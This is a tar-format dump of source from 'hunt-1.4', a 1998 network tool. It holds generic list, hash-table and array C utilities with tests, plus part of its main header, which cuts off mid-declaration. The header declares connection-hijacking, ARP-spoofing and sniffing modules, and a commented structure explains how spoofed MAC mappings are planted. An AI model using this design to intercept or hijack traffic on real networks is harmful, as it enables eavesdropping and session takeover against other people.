PTHREAD_MUTEX_INITIALIZER, \ PTHREAD_COND_INITIALIZER, \ (pthread_t) 0 } #else #define LIST_INIT(str, next) { NULL, NULL, offset_of(str, next), 0, NULL } #endif #ifdef _REENTRANT #define LIST_MAKE(str, next, first, last) { first, last, \ offset_of((str, (next)), 0, NULL, \ 0, \ PTHREAD_MUTEX_INITIALIZER, \ PTHREAD_COND_INITIALIZER, \ (pthread_t) 0 } #else #define LIST_MAKE(str, next, first, last) { first, last, \ offset_of((str, (next)), 0, NULL } #endif #define LIST_NEXT_PTR(list, member) ((void **)((char *)(member) + (list)->l_off)) #define LIST_THIS_PTR(list, member) ((void *)((char *)(member) - (list)->l_off)) void list_init(struct list *l, int next_offset); void list_flush(struct list *l); void list_push(struct list *l, void *m); void list_enqueue(struct list *l, void *m); void list_produce(struct list *l, void *m); void list_produce_start(struct list *l); void list_produce_done(struct list *l); void list_insert_at(struct list *l, int nr, void *m); void *list_pop(struct list *l); void *list_consume(struct list *l, const struct timespec *absts); void *list_consume_rel(struct list *l, const struct timespec *relts); void *list_peek(struct list *l); void *list_at(struct list *l, int nr); void *list_remove(struct list *l, void *m); void *list_remove_at(struct list *l, int nr); void *list_remove_func(struct list *l, int (*func)(int nr, void *, void *m), void *m); int list_count(struct list *l); void list_lock(struct list *l); void list_unlock(struct list *l); void list_iter_set(struct list_iterator *i, struct list *l); void *list_iter_get(struct list_iterator *i); void list_iter_end(struct list_iterator *i); #endif hunt-1.4/c/Makefile100644 0 0 742 6576177642 12304 0ustar rootrootCFLAGS=-Wall -g PROGS = list_test hash_test array_test all: ${PROGS} list_test: list_test.o gcc -o $@ $^ -lpthread list_test.o: list.c list.h gcc -c $(CFLAGS) -DTEST -D_REENTRANT -o $@ $< hash_test: hash_test.o gcc -o $@ $^ -lpthread hash_test.o: hash.c hash.h gcc -c $(CFLAGS) -DTEST -D_REENTRANT -o $@ $< array_test: array_test.o gcc -o $@ $^ -lpthread array_test.o: array.c array.h gcc -c $(CFLAGS) -DTEST -D_REENTRANT -o $@ $< clean: rm -f ${PROGS} *.o core hunt-1.4/c/spinlock.h100644 0 0 767 6575537426 12645 0ustar rootroot#ifndef __SPINLOCK_H #define __SPINLOCK_H static inline int testandset(volatile int *spinlock) { int ret; __asm__ __volatile__("xchgl %0, %1" : "=r"(ret), "=m"(*spinlock) : "0"(1), "m"(*spinlock)); return ret; } inline void spinlock_lock(volatile int * spinlock) { while (testandset(spinlock)) #if 0 yield(); #else ; #endif } inline void spinlock_unlock(volatile int * spinlock) { #ifndef RELEASE *spinlock = 0; #else RELEASE(spinlock); #endif } #endif hunt-1.4/c/hash.h100644 0 0 3064 6601155014 11732 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __HASH_H #define __HASH_H #ifdef _REENTRANT #include #endif #define HASH_MIN_ITEMS 131 #define HASH_MAX_PCT_FULL 80 #define HASH_SPACE_PCT_INC 100 #if 0 #define HASH_FUNC_2 #endif typedef int (*hash_equal_func)(unsigned int key, void *data_ht, void *arg); struct hash_table_item { unsigned int ht_key; void *ht_data; }; struct hash { int h_items; int h_max_items; int h_space_after; struct hash_table_item *h_table; hash_equal_func h_eqfunc; #ifdef _REENTRANT int h_locked; pthread_t h_locked_thr; pthread_mutex_t h_mutex; #endif }; struct hash_iterator { struct hash *i_hash; int i_pos; }; int hash_init(struct hash *h, int max_items, hash_equal_func eqfunc); void *hash_get(struct hash *h, unsigned int key, void *arg); void *hash_remove(struct hash *h, unsigned int key, void *arg); int hash_put(struct hash *h, unsigned int key, void *data); int hash_put_check(struct hash *h, unsigned int key, void *data, void *arg); void hash_lock(struct hash *h); void hash_unlock(struct hash *h); int hash_count(struct hash *h); void hash_free(struct hash *h); /* * hash_iter */ void hash_iter_set(struct hash_iterator *i, struct hash *h); void *hash_iter_get(struct hash_iterator *i, unsigned int *keyptr); void hash_iter_end(struct hash_iterator *i); void hash_iter_lock(struct hash_iterator *i); void hash_iter_unlock(struct hash_iterator *i); #endif hunt-1.4/c/hash.c100644 0 0 24531 6601155015 11750 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include #include "hash.h" static int __chose_table_size(int size) { static int ht_size[] = { 37, 47, 79, 97, 163, 197, 331, 397, 673, 797, 1361, 1597, 2729, 3203, 5471, 6421, 10949, 12853, 21911, 25717, 43853, 51437, 87719, 102877, 175447, 205759, 350899, 411527, 701819, 823117, 1403641, 1646237, 2807303, 3292489, 5614657, 6584983, 11229331, 13169977, 22458671, 26339969, 44917381, 52679969, 89834777, 105359939 }; int i; if (size >= ht_size[sizeof(ht_size) / sizeof(ht_size[0]) - 1]) return ht_size[sizeof(ht_size) / sizeof(ht_size[0])]; for (i = 0; ht_size[i] < size; i++) ; return ht_size[i]; } static inline int __when_need_space(int max_items) { return (HASH_MAX_PCT_FULL * max_items) / 100; } static inline int __hash_need_space(struct hash *h) { return h->h_items >= h->h_space_after ? 1 : 0; // return (h->h_items * 100) / h->h_max_items >= HASH_MAX_PCT_FULL ? 1 : 0; } int hash_init(struct hash *h, int max_items, hash_equal_func eqfunc) { if (max_items < HASH_MIN_ITEMS) max_items = HASH_MIN_ITEMS; max_items = __chose_table_size(max_items); h->h_space_after = __when_need_space(max_items); h->h_items = 0; h->h_max_items = max_items; h->h_eqfunc = eqfunc; if (!(h->h_table = malloc(max_items * sizeof(struct hash_table_item)))) return -1; memset(h->h_table, 0, max_items * sizeof(struct hash_table_item)); #ifdef _REENTRANT h->h_locked = 0; pthread_mutex_init(&h->h_mutex, NULL); #endif return 0; } void hash_free(struct hash *h) { if (h->h_table) free(h->h_table); memset(h, 0, sizeof(*h)); } static unsigned int __hv_hash; static unsigned int __hv_hash_save; static unsigned int __hv_max_items; #ifdef HASH_FUNC_2 static unsigned int __hv_d; static unsigned int __hv_d_save; #endif static inline int __hv(unsigned int key, unsigned int max_items) { __hv_max_items = max_items; #ifdef HASH_FUNC_2 __hv_d = 2; #endif return (int)(__hv_hash = key % max_items); } static inline int __hv_peek(void) { return __hv_hash; } static inline int __hv_next(void) { #ifdef HASH_FUNC_2 __hv_hash = (__hv_hash + __hv_d) % __hv_max_items; __hv_d += 2; return (int)__hv_hash; #else return __hv_hash = (__hv_hash + 1) % __hv_max_items; #endif } static inline int __hv_peek_next(void) { #ifdef HASH_FUNC2 return (int)((__hv_hash + __hv_d) % __hv_max_items); #else return (__hv_hash + 1) % __hv_max_items; #endif } static inline void __hv_save_position(void) { #ifdef HASH_FUNC_2 __hv_d_save = __hv_d; #endif __hv_hash_save = __hv_hash; } static inline int __hv_load_position(void) { #ifdef HASH_FUNC_2 __hv_d = __hv_d_save; #endif return (int)(__hv_hash = __hv_hash_save); } static int __hash_find(struct hash *h, unsigned int key, void *arg) { int retval; int hv; struct hash_table_item *h_table; hv = __hv(key, h->h_max_items); h_table = h->h_table; retval = -1; while (h_table[hv].ht_data) { if (h_table[hv].ht_key == key) { if (!h->h_eqfunc || h_table[__hv_peek_next()].ht_data == NULL) { retval = hv; break; } else { if (h->h_eqfunc(key, h_table[hv].ht_data, arg)) { retval = hv; break; } } } hv = __hv_next(); } return retval; } static void __hash_put(struct hash *h, unsigned int key, void *data) { int hv; struct hash_table_item *h_table; hv = __hv(key, h->h_max_items); h_table = h->h_table; while (h_table[hv].ht_data) { hv = __hv_next(); } h_table[hv].ht_key = key; h_table[hv].ht_data = data; h->h_items++; } static int __hash_put_check(struct hash *h, unsigned int key, void *data, void *arg) { int retval; int hv; struct hash_table_item *h_table = h->h_table; retval = __hash_find(h, key, arg); if (retval < 0) { hv = __hv_peek(); h_table[hv].ht_key = key; h_table[hv].ht_data = data; return 0; } else return -1; } static void __hash_remap(struct hash *h, int hv) { int count, i; struct hash_table_item *h_table, *ht_save; __hv_save_position(); h_table = h->h_table; count = 0; while (h_table[hv].ht_data) { count++; hv = __hv_next(); } if (count) { ht_save = alloca(count * sizeof(struct hash_table_item)); hv = __hv_load_position(); i = 0; while (h_table[hv].ht_data) { ht_save[i].ht_key = h_table[hv].ht_key; ht_save[i].ht_data = h_table[hv].ht_data; h_table[hv].ht_key = 0; h_table[hv].ht_data = NULL; i++; hv = __hv_next(); } h->h_items -= count; for (i = 0; i < count; i++) __hash_put(h, ht_save[i].ht_key, ht_save[i].ht_data); } } static void __hash_new_space(struct hash *h) { struct hash_table_item *old_h_table; int old_items, old_max_items; int i; old_items = h->h_items; old_max_items = h->h_max_items; old_h_table = h->h_table; h->h_max_items = __chose_table_size(h->h_max_items + (HASH_SPACE_PCT_INC * h->h_max_items) / 100); if (!(h->h_table = malloc(h->h_max_items * sizeof(struct hash_table_item)))) { h->h_items = old_items; h->h_max_items = old_max_items; h->h_table = old_h_table; return; } h->h_space_after = __when_need_space(h->h_max_items); memset(h->h_table, 0, h->h_max_items * sizeof(struct hash_table_item)); h->h_items = 0; for (i = 0; i < old_max_items; i++) { if (old_h_table[i].ht_data) __hash_put(h, old_h_table[i].ht_key, old_h_table[i].ht_data); } free(old_h_table); } static inline void __lock(struct hash *h) { #ifdef _REENTRANT if (!h->h_locked || h->h_locked_thr != pthread_self()) pthread_mutex_lock(&h->h_mutex); #endif } static inline void __unlock(struct hash *h) { #ifdef _REENTRANT if (!h->h_locked || h->h_locked_thr != pthread_self()) pthread_mutex_unlock(&h->h_mutex); #endif } void *hash_get(struct hash *h, unsigned int key, void *arg) { int hv; void *retval; __lock(h); if ((hv = __hash_find(h, key, arg)) >= 0) retval = h->h_table[hv].ht_data; else retval = NULL; __unlock(h); return retval; } void *hash_remove(struct hash *h, unsigned int key, void *arg) { void *retval; int hv; __lock(h); if ((hv = __hash_find(h, key, arg)) >= 0) { retval = h->h_table[hv].ht_data; h->h_table[hv].ht_key = 0; h->h_table[hv].ht_data = NULL; h->h_items--; __hash_remap(h, __hv_next()); } else retval = NULL; __unlock(h); return retval; } int hash_put(struct hash *h, unsigned int key, void *data) { int retval; __lock(h); if (__hash_need_space(h)) __hash_new_space(h); if (h->h_items == h->h_max_items || !data) retval = -1; else retval = 0; __hash_put(h, key, data); __unlock(h); return retval; } int hash_put_check(struct hash *h, unsigned int key, void *data, void *arg) { int retval; __lock(h); if (__hash_need_space(h)) __hash_new_space(h); if (h->h_items == h->h_max_items || !data) retval = -1; else retval = __hash_put_check(h, key, data, arg); __unlock(h); return retval; } int hash_count(struct hash *h) { int retval; __lock(h); retval = h->h_items; __unlock(h); return retval; } void hash_lock(struct hash *h) { #ifdef _REENTRANT if (!h->h_locked || h->h_locked_thr != pthread_self()) { pthread_mutex_lock(&h->h_mutex); h->h_locked_thr = pthread_self(); h->h_locked = 1; } else h->h_locked++; #endif } void hash_unlock(struct hash *h) { #ifdef _REENTRANT if (--h->h_locked == 0) pthread_mutex_unlock(&h->h_mutex); #endif } /* * * hash_iterator * */ void hash_iter_set(struct hash_iterator *i, struct hash *h) { i->i_hash = h; i->i_pos = 0; } void hash_iter_lock(struct hash_iterator *i) { hash_lock(i->i_hash); } void hash_iter_unlock(struct hash_iterator *i) { hash_unlock(i->i_hash); } void *hash_iter_get(struct hash_iterator *i, unsigned int *keyptr) { struct hash *h; void *data; void *retval; h = i->i_hash; __lock(h); for ( ;i->i_pos < h->h_max_items; i->i_pos++) { data = h->h_table[i->i_pos].ht_data; if (data) break; } if (i->i_pos < h->h_max_items && data) { retval = data; if (keyptr) *keyptr = h->h_table[i->i_pos].ht_key; } else retval = NULL; i->i_pos++; __unlock(h); return retval; } void hash_iter_end(struct hash_iterator *i) { i->i_hash = NULL; i->i_pos = 0; } #ifdef TEST /* * * Test * */ #include #include #include #include #include #include int MAX_ITEMS = 1000; static int verbose = 0; static int verbose_print(int level, char *format, ...) { va_list ap; int retval; if (verbose >= level) { va_start(ap, format); retval = vprintf(format, ap); va_end(ap); return retval; } return 0; } int main(int argc, char *argv[]) { struct hash h; struct hash_iterator hi; int i; int *t, *t_arr; while ((i = getopt(argc, argv, "vi:")) != -1) { switch (i) { case 'v': ++verbose; break; case 'i': MAX_ITEMS = atoi(optarg); break; default: fprintf(stderr, "bad option\n"); exit(1); } } assert(t_arr = malloc(MAX_ITEMS * sizeof(int))); hash_init(&h, 100, NULL); verbose_print(1, "start\n"); for (i = 0; i < MAX_ITEMS; i++) { t = t_arr + i; *t = i; assert(hash_put(&h, i * i, t) == 0); } assert(MAX_ITEMS == hash_count(&h)); verbose_print(1, "\nhash get\n"); for (i = 0; i < MAX_ITEMS; i++) { t = hash_get(&h, i * i, NULL); assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } verbose_print(1, "\niterator test\n"); hash_iter_set(&hi, &h); while ((t = hash_iter_get(&hi, NULL))) verbose_print(2, "%d ", *t); hash_iter_end(&hi); verbose_print(1, "\nremove test\n"); for (i = 0; i < MAX_ITEMS; i += 3) { t = hash_remove(&h, i * i, NULL); assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } verbose_print(1, "\nhash_put_check test\n"); for (i = 0; i < MAX_ITEMS; i += 3) { t = t_arr + i; assert(hash_put_check(&h, i * i, t, NULL) == 0); verbose_print(2, "%d ", *t); } for (i = 0; i < MAX_ITEMS; i += 3) { t = t_arr + i; assert(hash_put_check(&h, i * i, t, NULL) < 0); verbose_print(2, "%d ", *t); } for (i = 0; i < MAX_ITEMS; i += 3) { t = hash_remove(&h, i * i, NULL); assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } verbose_print(1, "\nhash get\n"); for (i = 0; i < MAX_ITEMS; i++) { t = hash_get(&h, i * i, NULL); if ((i % 3) == 0) assert(t == NULL); else { assert(t); assert(*t == i); verbose_print(2, "%d ", *t); } } hash_free(&h); verbose_print(1, "\nOK\n"); return 0; } #endif hunt-1.4/c/array.h100644 0 0 2274 6601155016 12131 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __ARRAY_H #define __ARRAY_H #ifdef _REENTRANT #include #endif struct array_item { void *ai_data; }; struct array { struct array_item *a_arr; int a_size; int a_items; #ifdef _REENTRANT int a_locked; pthread_t a_locked_thr; pthread_mutex_t a_mutex; #endif }; #define ARRAY_SPACE_PCT_INC 50 void array_init(struct array *a, int size); void array_free(struct array *a); void *array_at(struct array *a, int nr); void *array_remove(struct array *a, void *m); void *array_remove_at(struct array *a, int nr); int array_put(struct array *a, void *m); void *array_put_at(struct array *a, int nr, void *m); void *array_pop(struct array *a); int array_count(struct array *a); struct array_iterator { struct array *i_array; int i_pos; }; void array_iter_set(struct array_iterator *ai, struct array *a); void *array_iter_get(struct array_iterator *ai); void array_iter_end(struct array_iterator *ai); void array_iter_lock(struct array_iterator *ai); void array_iter_unlock(struct array_iterator *ai); #endif hunt-1.4/c/array.c100644 0 0 13344 6601154755 12155 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include "array.h" static inline void update_a_items(struct array *a, int nr, void *m) { if (a->a_arr[nr].ai_data) { if (!m) a->a_items--; } else { if (m) a->a_items++; } } void array_init(struct array *a, int size) { assert(a->a_arr = malloc(size * sizeof(struct array_item))); memset(a->a_arr, 0, size * sizeof(struct array_item)); a->a_size = size; a->a_items = 0; #ifdef _REENTRANT a->a_locked = 0; pthread_mutex_init(&a->a_mutex, NULL); #endif } static inline void __lock(struct array *a) { #ifdef _REENTRANT if (!a->a_locked || a->a_locked_thr != pthread_self()) pthread_mutex_lock(&a->a_mutex); #endif } static inline void __unlock(struct array *a) { #ifdef _REENTRANT if (!a->a_locked || a->a_locked_thr != pthread_self()) pthread_mutex_unlock(&a->a_mutex); #endif } void array_free(struct array *a) { __lock(a); if (a->a_arr) free(a->a_arr); a->a_arr = NULL; a->a_size = 0; a->a_items = 0; __unlock(a); } void *array_at(struct array *a, int nr) { void *retval; __lock(a); if (nr < 0 || nr >= a->a_size) retval = NULL; else retval = a->a_arr[nr].ai_data; __unlock(a); return retval; } void *array_remove_at(struct array *a, int nr) { return array_put_at(a, nr, NULL); } void *array_put_at(struct array *a, int nr, void *m) { void *retval; __lock(a); if (nr < 0 || nr >= a->a_size) retval = NULL; else { update_a_items(a, nr, m); retval = a->a_arr[nr].ai_data; a->a_arr[nr].ai_data = m; } __unlock(a); return retval; } void *array_remove(struct array *a, void *m) { struct array_item *ai; void *retval; __lock(a); if (!m) retval = NULL; else { retval = NULL; for (ai = a->a_arr; ai < a->a_arr + a->a_size; ai++) if (ai->ai_data == m) { ai->ai_data = NULL; a->a_items--; retval = m; break; } } __unlock(a); return retval; } static void need_space(struct array *a) { int new_size; struct array_item *new_arr; if (a->a_items == a->a_size) { new_size = a->a_size + (ARRAY_SPACE_PCT_INC * a->a_size) / 100; new_arr = realloc(a->a_arr, new_size * sizeof(struct array_item)); assert(new_arr); memset(a->a_arr + a->a_size, 0, (new_size - a->a_size) * sizeof(struct array_item)); a->a_arr = new_arr; a->a_size = new_size; } } int array_put(struct array *a, void *m) { struct array_item *ai; int retval; __lock(a); need_space(a); for (ai = a->a_arr; ai < a->a_arr + a->a_size; ai++) { if (ai->ai_data == NULL) { ai->ai_data = m; a->a_items++; break; } } retval = ai - a->a_arr; __unlock(a); return retval; } void *array_pop(struct array *a) { struct array_item *ai; void *retval = NULL; __lock(a); for (ai = a->a_arr; ai < a->a_arr + a->a_size; ai++) { if (ai->ai_data) { retval = ai->ai_data; ai->ai_data = NULL; a->a_items--; break; } } __unlock(a); return retval; } int array_count(struct array *a) { int retval; __lock(a); retval = a->a_items; __unlock(a); return retval; } void array_lock(struct array *a) { #ifdef _REENTRANT if (!a->a_locked || a->a_locked_thr != pthread_self()) { pthread_mutex_lock(&a->a_mutex); a->a_locked_thr = pthread_self(); a->a_locked = 1; } else a->a_locked++; #endif } void array_unlock(struct array *a) { #ifdef _REENTRANT if (--a->a_locked == 0) pthread_mutex_unlock(&a->a_mutex); #endif } void array_iter_lock(struct array_iterator *ai) { array_lock(ai->i_array); } void array_iter_unlock(struct array_iterator *ai) { array_unlock(ai->i_array); } void array_iter_set(struct array_iterator *ai, struct array *a) { ai->i_array = a; ai->i_pos = -1; } void *array_iter_get(struct array_iterator *ai) { struct array *a; void *retval; retval = NULL; a = ai->i_array; __lock(a); while (++ai->i_pos < a->a_size) { if (a->a_arr[ai->i_pos].ai_data) { retval = a->a_arr[ai->i_pos].ai_data; break; } } __unlock(a); return retval; } void array_iter_end(struct array_iterator *ai) { ai->i_array = NULL; ai->i_pos = -1; } #ifdef TEST /* * * Test * */ #include #include #include #include #include #include int MAX_ITEMS = 1000; static int verbose = 0; static int verbose_print(int level, char *format, ...) { va_list ap; int retval; if (verbose >= level) { va_start(ap, format); retval = vprintf(format, ap); va_end(ap); return retval; } return 0; } int main(int argc, char *argv[]) { struct array a; struct array_iterator ai; int i; int *t, *t_arr; while ((i = getopt(argc, argv, "vi:")) != -1) { switch (i) { case 'v': ++verbose; break; case 'i': MAX_ITEMS = atoi(optarg); break; default: fprintf(stderr, "bad option\n"); exit(1); } } assert(t_arr = malloc(MAX_ITEMS * sizeof(int))); array_init(&a, 100); verbose_print(1, "start\n"); for (i = 0; i < MAX_ITEMS; i++) { t = t_arr + i; *t = i; assert(array_put(&a, t) == i); } for (i = 0; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_remove(&a, t) == t); } for (i = 1; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_pop(&a) == t); } for (i = 0; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_put_at(&a, i, t) == NULL); } for (i = 1; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_put(&a, t) == i); } for (i = 0; i < MAX_ITEMS; i += 2) { t = t_arr + i; assert(array_remove_at(&a, i) == t); } array_iter_set(&ai, &a); i = 1; while ((t = array_iter_get(&ai))) { assert(*t == i); i += 2; verbose_print(2, "%d ", *t); } array_iter_end(&ai); printf("\n"); array_free(&a); return 0; } #endif hunt-1.4/hunt.h100644 0 0 42361 6772412224 11576 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #ifndef __HUNT_H #define __HUNT_H #ifndef _WITH_LINUX_KERNEL_HDR #include #include #include #include #include #else #ifdef _REENTRANT # undef _REENTRANT # define _WAS_REENTRANT #endif #include #include #include #include #include #include #include #include #include #include #include #ifdef _WAS_REENTRANT # define _REENTRANT # undef _WAS_REENTRANT #endif #endif #include #include #include #include #include #include #include #include "c/list.h" #include "c/hash.h" #define VERSION "1.4" #define max(a, b) ((a) > (b) ? (a) : (b)) #define min(a, b) ((a) > (b) ? (b) : (a)) #define IP_DF 0x4000 /* Flag: "Don't Fragment" */ #define BUFSIZE 512 #define IPHDR 20 #define TCPHDR 20 extern char *eth_device; extern int verbose; extern unsigned char my_eth_mac[ETH_ALEN]; extern unsigned int my_eth_ip; extern pthread_t main_thread_id; extern sigset_t intr_mask; enum PACKET_TYPE { PACKET_NONE = 0, PACKET_TCP = 1, PACKET_UDP = 2, PACKET_ICMP = 3, PACKET_ARP = 4 }; #define MAX_MODULES 8 #define MODULE_DUMP_CONN 0 #define MODULE_HIJACK_CONN 1 #define MODULE_RSTD 2 #define MODULE_ARP_SPOOF 3 #define MODULE_SNIFF 4 #define MODULE_HOSTUP 5 #define MODULE_ARPSPOOF_TEST 6 #define MAX_PORTS 16 struct packet { char p_raw[ETH_FRAME_LEN]; /* 1514 */ int p_raw_len; int p_use_count; enum PACKET_TYPE p_type; pthread_mutex_t p_mutex; /* pointers to p_raw */ struct ethhdr *p_ethh; struct iphdr *p_iph; struct arphdr *p_arph; /* well, this should be a union with p_iph but * I am lazy to modify all sources right now */ union { struct tcphdr *p_tcph; struct udphdr *p_udph; struct icmphdr *p_icmph; } p_hdr; int p_data_len; char *p_data; time_t p_timestamp; /* * pointers for modules packet list */ struct packet *p_next_free; struct packet *p_next[MAX_MODULES]; void *p_arg[MAX_MODULES]; /* for use in modules */ int p_ipc; /* for interthred communication - * for ordinary packet p_ipc == 0 and p_ipc_arg == NULL */ void *p_ipc_arg; }; typedef void (*ifunc)(struct packet *, void *arg); /* * all is in network byte order */ struct ifunc_item { ifunc func; void *arg; struct ifunc_list *next_tcp; struct ifunc_list *next_udp; struct ifunc_list *next_icmp; struct ifunc_list *next_arp; struct ifunc_list *next_ip; }; extern struct hash conn_table; extern struct hash mac_table; extern struct list l_ifunc_ip; extern struct list l_ifunc_tcp; extern struct list l_ifunc_udp; extern struct list l_ifunc_icmp; extern struct list l_ifunc_arp; extern struct list l_ifunc_fast_tcp; struct host_info { unsigned long next_seq; unsigned long next_d_seq; unsigned char src_mac[ETH_ALEN]; unsigned char dst_mac[ETH_ALEN]; unsigned short window; unsigned short id; unsigned int delta_d_seq; }; struct conn_info { unsigned long src_addr; unsigned long dst_addr; unsigned short src_port; unsigned short dst_port; struct host_info src; struct host_info dst; int use_count; unsigned int update_count; unsigned int ack_storm_notify_sec; pthread_mutex_t mutex; }; struct user_conn_info { unsigned long src_addr; unsigned long dst_addr; unsigned short src_port; unsigned short dst_port; }; struct packet_info { unsigned long src_addr; unsigned long dst_addr; unsigned short src_port; unsigned short dst_port; struct host_info src; struct packet_info *next; }; struct timejob; struct arp_spoof_info { /* * Basic idea is to make dst_addr host to think that host (src_addr) has * different mac address (src_fake_mac), then when dst_addr sent something * to src_addr then it sends it to src_fake_mac. The src/dst naming is little * bit weired and confusing (currently for me as well). * * src_addr IP address I want to spoof/corrupt somewhere in the network * src_mac true MAC address of src_addr * src_mac_valid is src_mac valid? (for spoofing hosts that are down) * src_fake_mac MAC address I want other host (with dst_addr) think src_addr have * * dst_addr IP address where to insert the spoof * dst_mac MAC address belonging to dst_addr * dst_mac_valid is dst_mac valid? (for spoofing hosts that are down) */ unsigned char src_fake_mac[ETH_ALEN]; unsigned char src_mac[ETH_ALEN]; unsigned char dst_mac[ETH_ALEN]; int src_mac_valid; int dst_mac_valid; unsigned int src_addr; unsigned int dst_addr; /* is src_addr router - can forward packets for other hosts * (from/to internet) */ int can_forward; /* 1 if arp_spoof_info belongs to arp spoof range */ int in_range; int use_count; int lock_count; int refresh; struct timejob *tj_refresh; struct timejob *tj_reply; struct arp_spoof_info *next; pthread_cond_t lock_cond; pthread_mutex_t mutex; }; struct arpeth_hdr { unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ unsigned char ar_sip[4]; /* sender IP address */ unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ unsigned char ar_tip[4]; /* target IP address */ }; struct mac_info { char mac[ETH_ALEN]; pthread_mutex_t mutex; }; struct add_policy_info { unsigned int src_addr; unsigned int src_mask; unsigned int dst_addr; unsigned int dst_mask; unsigned int src_ports[MAX_PORTS + 1]; unsigned int dst_ports[MAX_PORTS + 1]; struct add_policy_info *next; }; extern struct add_policy_info add_policy; extern int linksock; #define ALIGNPOINTERS_ETH(packet, ethh) { \ (ethh) = (struct ethhdr *) ((packet)->p_raw); \ } #define ALIGNPOINTERS_IP(ethh, iph) { \ (iph) = (struct iphdr *) ((char *)ethh + sizeof(struct ethhdr)); \ } #define ALIGNPOINTERS_ARP(ethh, arph) { \ (arph) = (struct arphdr *) ((char *)ethh + sizeof(struct ethhdr)); \ } #define ALIGNPOINTERS_TCP(iph, tcph, pdata) { \ (tcph) = (struct tcphdr *) (((char *) iph) + (iph->ihl << 2)); \ (pdata) = ((char *) tcph) + (tcph->doff << 2); \ } #define ALIGNPOINTERS_UDP(iph, udph, pdata) { \ (udph) = (struct udphdr *) (((char *) iph) + (iph->ihl << 2)); \ (pdata) = ((char *) udph) + sizeof(struct udphdr); \ } #define ALIGNPOINTERS_ICMP(iph, icmph, pdata) { \ (icmph) = (struct icmphdr *) (((char *) iph) + (iph->ihl << 2)); \ (pdata) = ((char *) icmph) + sizeof(struct icmphdr); \ } #define IP_DATA_LENGTH(iph) (ntohs((iph)->tot_len) - ((iph)->ihl << 2)) #define TCP_DATA_LENGTH(iph, tcph) (IP_DATA_LENGTH(iph) - ((tcph)->doff << 2)) #define IP_HDR_LENGTH(iph) ((iph)->ihl << 2) #define TCP_HDR_LENGTH(tcph) ((tcph)->doff << 2) extern inline unsigned int generate_key(unsigned long saddr, unsigned long daddr, unsigned short source, unsigned short dest) { return saddr + daddr + source + dest; } #if 0 extern inline unsigned int generate_key_from_packet(struct packet *p) { return generate_key(ntohl(p->p_iph->saddr), ntohl(p->p_iph->daddr), ntohs(p->p_hdr.p_tcph->source), ntohs(p->p_hdr.p_tcph->dest)); } #endif extern inline unsigned int uci_generate_key(struct user_conn_info *uci) { return generate_key(ntohl(uci->src_addr), ntohl(uci->dst_addr), ntohs(uci->src_port), ntohs(uci->dst_port)); } /* * hunt */ extern pthread_t th_hunt; extern unsigned int pkts_received, pkts_dropped, pkts_unhandled; extern unsigned int bytes_received; extern int hunt_ready; extern pthread_mutex_t mutex_hunt_ready; extern pthread_cond_t cond_hunt_ready; extern int packets_allocated; extern int mac_learn_from_ip; struct packet *packet_new(void); void packet_free(struct packet *p); void packet_want(struct packet *p); void packet_flush(struct list *l); void packet_copy_data(struct packet *dst, struct packet *src); void packet_preallocate(int count); int packet_count(void); void conn_free(struct conn_info *ci); struct conn_info *conn_get(struct user_conn_info *uci); int conn_exist(struct user_conn_info *uci); void *hunt(void *arg); extern int conn_list_mac; extern int conn_list_seq; int conn_list(struct user_conn_info **ruci, char **rbuf, int with_mac, int with_seq); void print_user_conn_info(struct user_conn_info *uci, int count); void remove_conn_if_dont_match(void); void print_mac_table(void); struct mac_info *mac_info_get(unsigned int ip); void mac_info_release(struct mac_info *mi); /* * menu */ int menu_choose_unr(char *label, int min, int max, int dfl); int menu_choose_char(char *label, char *opt, char dfl); int menu_choose_yn(char *label, int dfl); int menu_choose_string(char *label, char *ret_buf, int buf_len, char *dfl); int menu(char *head, char *str_menu, char *label, char *opt, char dfl); void press_key(char *label); unsigned int menu_choose_hostname(char *label, char *dfl); int menu_choose_ports(char *label, int *ret_ports, char *dfl); int menu_choose_mac(char *label, unsigned char *mac_ret, char *dfl); int menu_choose_sdb(char *label, char dfl); int menu_choose_host_mask_ports(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, char *dfl); int menu_choose_host_mask_ports_dfl(char *label, unsigned int *ret_ip, unsigned int *ret_mask, unsigned int *ret_ports, unsigned int dfl_ip, unsigned int dfl_mask, int *dfl_ports); void clear_new_conn_ind(void); void print_new_conn_ind(int add_new); #define MODE_SRC 0 #define MODE_DST 1 #define MODE_BOTH 2 int sdb_to_int(char c); char int_to_sdb(int i); char *sdbmode_to_char(int mode); /* * util */ enum TTY_COLOR {COLOR_BLACK = 0, COLOR_RED = 1, COLOR_GREEN = 2, COLOR_BROWN = 3, COLOR_BLUE = 4, COLOR_MAGENTA = 5, COLOR_CYAN = 6, COLOR_LIGHTGRAY = 7, COLOR_GRAY = 8, COLOR_BRIGHTRED = 9, COLOR_BRIGHTGREEN = 10, COLOR_YELLOW = 11, COLOR_BRIGHTBLUE = 12, COLOR_BRIGHTMAGENTA = 13, COLOR_BRIGHTCYAN = 14, COLOR_WHITE = 15 }; void set_tty_color(enum TTY_COLOR color); void set_tty_color_bg(enum TTY_COLOR fg, enum TTY_COLOR bg); int is_power2(unsigned int i); int log2(unsigned int i); int count_mask(unsigned int mask); void print_data_packet(struct packet *p, int data_len, int count, int dst_packet); int sprintf_db_ports(unsigned int *ports, char *buf, int buf_size, int all); void print_data(char *label, void *data, int len); unsigned short ip_in_cksum(struct iphdr *iph, unsigned short *ptr, int nbytes); unsigned short in_cksum(unsigned short 